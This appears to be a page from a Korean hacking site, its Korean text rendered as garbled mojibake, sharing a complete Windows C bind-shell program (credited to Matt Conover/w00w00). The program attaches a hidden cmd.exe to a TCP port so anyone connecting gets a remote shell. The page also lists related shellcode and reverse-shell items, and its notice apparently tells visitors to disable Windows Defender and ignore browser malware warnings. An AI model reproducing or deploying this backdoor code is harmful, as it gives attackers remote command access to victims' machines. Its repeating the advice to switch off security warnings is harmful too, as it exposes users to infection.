ÇØÄ¿Áî´º½º / ÇØÄ¿´ëÇÐ

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡
¡¡

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡

°øÁö

¡¡

1. MS ¿§Áö ºê¶ó¿ìÀú¿¡¼­ÀÇ °æ°íâÀº 'À©µµ¿ì µðÆæ´õ'¸¦ ²ô½Ã¸é µË´Ï´Ù.

             'À©µµ¿ì µðÆæ´õ ²ô±â'

2. Å©·Ò ºê¶ó¿ìÀú·Î Á¢¼Ó½Ã ³ª¿À´Â ¾Ç¼ºÄÚµå °æ°íâÀº ±¸±Û Å©·ÒÀÇ ¿¡·¯, Áï ¿ÀŽ(ŽÁö ¿À·ù)À̹ǷΠ¹«½ÃÇÏ½Ã¸é µË´Ï´Ù.

3. ÀÌ »çÀÌÆ®´Â ¾ÈÀüÇÏ¸ç ±ú²ýÇÏ´Ù´Â °ÍÀ» ¾Ë·Á µå¸³´Ï´Ù.

4. ¹«°íÇÑ »çÀÌÆ®µé¿¡ ´ëÇÑ °ø·æ ±â¾÷ ºê¶ó¿ìÀúµéÀÇ ¹«Â÷º°ÀûÀÎ 'ŽÁö ¿À·ù ȾÆ÷'°¡ »ç¿ëÀÚµéÀÇ Á¤º¸ °øÀ¯ÀÇ ÀÚÀ¯¸¦ ħÇØÇÏ°í ÀÖ½À´Ï´Ù. ÀÌ¿¡ ´ëÀÀÇÏ¿© ÀÌ ±â¾÷µéÀ» »ó´ë·Î ¼Ò¼ÛÀ» ÁغñÇÏ°í ÀÖ½À´Ï´Ù.

¡¡

Ãâó: Matt Conover
À帣: ½©ÄÚµå
bindshell.c (3KB, DN:744)
TCP ¹ÙÀεù ½©ÄÚµå  
// Copyright (C) 2001, Matt Conover (Shok) & w00w00
// http://www.w00w00.org
//
// Binds cmd.exe to a TCP port (9999 by default)
// I set this up in a format to make it easier to port to shellcode

#include <stdio.h>
#include <winsock.h>

#define PORT 9998
#define BUFSIZE 1024

void main(int argc, char* argv[])
{
  register int numbytes;
  int socklen;
  char *membuf;

  SECURITY_ATTRIBUTES security_attributes;
  STARTUPINFO startup_info;
  HANDLE StdOutputRead, StdOutputWrite, StdInputRead, StdInputWrite;

  WSADATA wsaData;
  SOCKET serverfd = INVALID_SOCKET, clientfd = INVALID_SOCKET;
  SOCKADDR_IN serversin, clientsin;

  // Socket initialization
  WSAStartup(MAKEWORD(1, 1), &wsaData);
  serverfd = socket(AF_INET, SOCK_STREAM, 0);

  memset(&serversin, 0, sizeof(serversin));
  serversin.sin_family = AF_INET;
  serversin.sin_port = htons(PORT);

  if (bind(serverfd, (LPSOCKADDR)&serversin, sizeof(serversin)) < 0) goto exit_process;
  listen(serverfd, 0);

  // Set handles to inheritable
  security_attributes.nLength = sizeof(SECURITY_ATTRIBUTES);
  security_attributes.bInheritHandle = true;
  security_attributes.lpSecurityDescriptor = NULL;

  // Setup input and output pipes for shell
  CreatePipe(&StdOutputRead, &StdOutputWrite, &security_attributes, 0);
  CreatePipe(&StdInputRead, &StdInputWrite, &security_attributes, 0);

  // Create a child process that will inherit the input and output
  // handles of the pipes and have a hidden window
  GetStartupInfo(&startup_info);
  startup_info.hStdOutput = startup_info.hStdError = StdOutputWrite;
  startup_info.hStdInput = StdInputRead;
  startup_info.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  startup_info.wShowWindow = SW_HIDE;
 
  if (!CreateProcess(NULL, "c:\\test.exe", NULL, NULL, true, 0, NULL, NULL, &startup_info, (PROCESS_INFORMATION *)&startup_info))
  {
    goto exit_process;
  }

  CloseHandle(StdOutputWrite);
  CloseHandle(StdInputRead);

  // Wait for an incoming connection
  socklen = sizeof(clientsin);
  clientfd = accept(serverfd, (LPSOCKADDR)&clientsin, &socklen);
   
  // Allocate the memory buffer it will use
  membuf = (char *)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, BUFSIZE);

cmd_data: // read if there is data from cmd.exe
  if (!PeekNamedPipe(StdOutputRead, NULL, 0, NULL, (DWORD *)&numbytes, 0))
  {
    goto exit_process;
  }

  if (numbytes == 0) goto client_data;

  if (!ReadFile(StdOutputRead, membuf, BUFSIZE, (DWORD *)&numbytes, NULL))
  {
    goto exit_process;
  }

  if (send(clientfd, membuf, numbytes, 0) <= 0) goto exit_process;
  goto client_data;

sleep_and_repeat:
  Sleep(50);
  goto cmd_data;

client_data: // read new user data and send it to cmd.exe
  numbytes = recv(clientfd, membuf, BUFSIZE, 0);
  if (numbytes <= 0) goto exit_process;

  if (!WriteFile(StdInputWrite, membuf, numbytes, (DWORD *)&numbytes, NULL))
  {
    goto exit_process;
  }

  goto sleep_and_repeat;

exit_process:
  closesocket(clientfd);
  closesocket(serverfd);
  ExitProcess(-1);
}

                    ´äº¯/°ü·Ã ¾²±â ¼öÁ¤/»èÁ¦     ÀÌÀü±Û ´ÙÀ½±Û    
¹®¼­¹øÈ£À帣¹®¼­¸íÃâó÷ºÎ
     ÀÌ°÷¿¡¼­´Â ¹öÆÛ¿À¹öÇ÷οì¿Í Æ÷¸Ë½ºÆ®¸µ ¹ö±×¿¡ ´ëÇÑ ¹®¼­µéÀ» Á¦°øÇÕ´Ï´Ù.
86 ½©ÄÚµå    bin À» 16Áø¼ö·Î º¯È¯ÇÏ´Â Åø ÇØÄ¿Áî´º½º   
85 ½©ÄÚµå    ½©ÄÚµå »ý¼º±â ÇØÄ¿Áî´º½º   
84 ½©ÄÚµå    FTP ¿ø°Ý ´Ù¿î·Îµå/½ÇÇà ¹ÙÀεù Matt Conover  
83 ½©ÄÚµå    TCP ¹ÙÀεù ½©ÄÚµå Matt Conover   
82 ½©ÄÚµå    Cygnus Win32 À©µµ½© Matt Conover   
81 ½©ÄÚµå    À©µµ¿ë ½©ÄÚµå »ý¼º±â Matt Conover  
80 ½©ÄÚµå    À©µµ¿ë ½©ÄÚµå ¸¸µé±â ÇØÄ¿Áî´º½º  
79 ½©ÄÚµå    StrongARM/Linux ½©ÄÚµå °³¹ßÇϱâ funkysh  
78 ½©ÄÚµå    Linux x86 ½©ÄÚµå ¼Ò°³ posidron  
77 ½©ÄÚµå    µð½º¾î¼Àºí·¯ matrix  
76 ½©ÄÚµå    ¸®¹ö½º Æ÷Æ®½© ÇØÄ¿Áî´º½º   
75 ½©ÄÚµå    ÇöÀç µð·ºÅ丮¿¡¼­ sh ½ÇÇàÇÏ´Â ÄÚµå ÇØÄ¿Áî´º½º   

 
óÀ½ ÀÌÀü ´ÙÀ½       ¸ñ·Ï ¾²±â